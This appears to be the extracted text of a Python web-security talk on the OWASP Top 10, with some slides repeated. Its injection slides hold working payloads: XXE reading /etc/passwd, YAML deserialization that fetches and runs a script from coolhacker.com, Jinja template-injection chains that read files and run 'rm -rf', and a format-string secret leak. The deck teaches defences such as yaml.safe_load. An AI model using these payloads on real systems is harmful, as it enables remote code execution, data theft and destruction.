 if not self.user:
 return False
 
 if not self.show_captcha():
 del self._fields['captcha']
 
 result = super().validate()
 if not result:
 self.user.failed_login_attempts += 1
 else:
 self.user.failed_login_attempts = 0
 _datastore.put(self.user)
 _datastore.commit()
 return result Attack protection Flask-Security
  • 27. A7 {% from "security/_macros.html" import render_field_with_errors, render_field %}
 {% include "security/_messages.html" %}
 <h1>Login </h1>
 <form action="{{ url_for_security('login') }}" method="POST" name="login_user_form">
 {{ login_user_form.hidden_tag() }}
 {{ render_field_with_errors(login_user_form.email) }}
 {{ render_field_with_errors(login_user_form.password) }}
 {{ render_field_with_errors(login_user_form.remember) }}
 {% if login_user_form.show_captcha() %} {{ render_field_with_errors(login_user_form.captcha) }} {% endif %} {{ render_field(login_user_form.next) }}
 {{ render_field(login_user_form.submit) }}
 </form>
 {% include "security/_menu.html" %} Attack protection Flask-Security
  • 28. A7 app.config['SECURITY_LOGIN_USER_TEMPLATE'] = 'login.html'
 app.config['RECAPTCHA_PUBLIC_KEY'] = 'XXXXXXXXXXXXXXXXX'
 app.config['RECAPTCHA_PRIVATE_KEY'] = 'XXXXXXXXXXXXXXXX' . . . 
 security = Security( app, user_datastore, login_form=SecureLoginForm)
 Attack protection Flask-Security
  • 29. A7 import logging
 from flask import request
 from flask_login import user_logged_in
 
 
 logger = logging.getLogger(__name__)
 
 def log_login(sender, user):
 logger.info( 'User %s logged in from %s', (user.email, request.remote_addr) )
 
 user_logged_in.connect(log_login)
 Attack protection Flask-Security
  • 30. A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage ✤ … and other attacks
  • 32. A7 Attack protection Web Application Firewall /profile?name=<script>alert(1)</script>
  • 33. A7 Attack protection Web Application Firewall /profile?name=<script>alert(1)</script> WAF
  • 35. A7 Insufficient Attack Protection ✤Write and analyse logs ✤Use Web Application Firewall ✤Block hacking attempts
  • 36. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 37. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 38. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 39. A5 Security Misconfiguration ✤ Default settings in production
  • 43. A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback messages in production
  • 44. A5 Security Misconfiguration Hacker see traceback @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404

  • 45. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  • 46. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  • 47. @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:
 <h3>{url} </h3>
 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback
  • 48. A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback messages in production ✤ Configuration errors
  • 49. A5 Security Misconfiguration root /your/django/project; location / { proxy_pass http: //django_backend; }
  • 50. A5 Security Misconfiguration root /your/django/project; location / { try_files $uri @django; } location @django { proxy_pass http: //django_backend; }
  • 51. A5 Security Misconfiguration GET http: //yoursite.com/manage.py $ tree /your/django/project | + -- media +---- style.css + -- application +---- __init__.py +---- settings.py +---- urls.py +---- wsgi.py + -- manage.py
  • 52. A5 Security Misconfiguration location /media { alias /your/django/project/media; } location /static { alias /your/django/project/static; } location / { proxy_pass http: //django_backend; }
  • 53. A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last;
  • 54. A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last; . . . location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  • 55. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  • 56. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  • 57. A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?<p_proto>https?)/(?<p_host>.*?)/(?<p_path>.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }
  • 58. A5 Security Misconfiguration https: //github.com/yandex/gixy ✤ Server Side Request Forgery ✤ HTTP Splitting ✤ Problems with referrer/origin validation ✤ Redefining of response headers by"add_header" directive ✤ Request's Host header forgery ✤ none in valid_referers ✤ Multiline response headers GIXY
  • 59. A5 Security Misconfiguration ✤ Read documentation ✤ Use tools to check your configs ✤ Separate production/development env
  • 60. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 61. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 62. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 64. Injection XML A1 from lxml import etree
 user_xml = '''<?xml version="1.0"?>
 <notifications>
 <messages>disabled </messages>
 <call>enabled </call>
 </notifications>
 '''
 tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)
 )
 . . .
  • 65. Injection XML A1 from lxml import etree
 
 user_xml = '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . .
  • 66. Injection. XML.A1 from lxml import etree
 
 user_xml = '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File «pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value ' ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  • 67. Injection XML A1 from lxml import etree
 
 user_xml = '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(
 user_xml, parser=etree.XMLParser(resolve_entities=False)
 ) for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)

  • 68. Injection. XML.A1 from lxml import etree
 
 user_xml = '''<?xml version="1.0"?>
 <!DOCTYPE root [ <!ENTITY passwd SYSTEM "file: ///etc/passwd">]>
 <notifications>
 <messages>&passwd; </messages>
 <call>enabled </call>
 </notifications>
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File "pycon_example.py", line 53, in <module> "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value 'None'
  • 71. Injection YAML A1 user_input = '''
 key: value
 '''
 data = yaml.load(user_input)
  • 72. Injection YAML A1 user_input = '''
 key: value
 '''
 data = yaml.load(user_input) {'key': 'value'}
  • 73. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.load(user_input)
  • 74. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.load(user_input) {'key': '3.11'}
  • 75. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - ['ping', 'ptsecurity.com', '-c 1']
 '''
 data = yaml.load(user_input)
  • 76. Injection. YAML.A1 import yaml
 user_input = '''
 key: value
 '''
 data = yaml.load(user_input) {'key': b''' PING ptsecurity.com (109.238.242.125): 56 data bytes 64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms --- ptsecurity.com ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms '''}
  • 77. Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python /tmp/xxx.py'
 ''' data = yaml.load(user_input)
  • 78. Injection. YAML.A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python3 /tmp/xxx.py’
 ''' data = yaml.load(user_input) > curl http: //target.com:8000/cat%20/etc/passwd nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false
  • 79. Injection YAML A1 Loading YAML Warning: It is not safe to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function. Check the yaml.safe_load function though.
  • 80. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.safe_load(user_input)
  • 81. Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.safe_load(user_input) yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/name:yaml.__version__' in "<unicode string>", line 1, column 6: key: !!python/name:yaml.__version__
  • 83. Injection Templates A1 from flask import render_template_string
 user = 'Admin' template = 'Hello, %s!' % user
 render_template_string(template)
  • 84. Injection Templates A1 user = "{{ '' }}"
 template = 'Hello, {}!'.format(user)
  • 85. Injection. Templates.A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, !
  • 86. Injection Templates A1 user = "{{ ''.__class__ }}"
 template = 'Hello, {}!'.format(user)
  • 87. Injection. Templates.A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, <class 'str'>!
  • 88. Injection Templates A1 user = "{{ ''.__class__.__base__.__subclasses__() }}"
 template = 'Hello, {}!'.format(user)
  • 89. Injection. Templates.A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class 'ctypes.CDLL'>, …
  • 90. Injection. Templates.A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ <class 'property'>, <class 'operator.itemgetter'>, <class 'builtin_function_or_method'>, <class '_thread._localdummy'>, <class 'flask.sessions.SessionMixin'>, <class 'inspect._empty'>, <class 'click.parser.OptionParser'>, <class '_frozen_importlib_external.FileLoader'>, <class 'itsdangerous.Serializer'>, <class 'tarfile._StreamProxy'>, <class 'codeop.CommandCompiler'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'codecs.StreamRecoder'>, <class 'fieldnameiterator'>, <class ‘ctypes.CDLL’>, …
  • 91. Injection Templates A1 user = """
 {% for item in x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}}
 {% endif %}
 {% endfor %}
 """
 
 template = 'Hello, {}!'.format(user)
  • 92. Injection. Templates.A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ . . . '# Open Directory.n', ' ##n', 'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/ falsen', 'root:*:0:0:System Administrator:/var/root:/bin/shn', . . . ]
  • 93. Injection Templates A1 user = """
 {% for item in x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{
 item.__hash__.__globals__['__builtins__']['eval'](" 
 __import__('os').system('rm -rf . /*', shell=True)
 ")
 }}
 {% endif %}
 {% endfor %} """
 
 template = 'Hello, {}!’.format(user)
  • 94. Injection Templates A1 template = Template("Hello, {{ user }}.")
 template.render( Context({"user": "Admin"}) ) return render_template_string( 'Hello, {{ user }}.', user='Admin' )

  • 97. Injection str.format A1 CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'} class LogEntry:
 def __init__(self, id, time, msg):
 self.id = id
 self.time = time
 self.msg = msg
 
 def format_log(format_, value):
 assert isinstance(value, LogEntry), 
 'value must be LogEntry'
 
 return format_.format(entry=value)

  • 98. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log('{entry.id}: {entry.msg}', entry))
 >>> 1: System loaded
  • 99. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>>
  • 100. Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}
  • 101. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 102. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 103. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 104. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 105. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 106. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 107. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 108. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 109. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 110. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 111. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 112. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 113. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs
  • 114. OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack ProtectionA6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs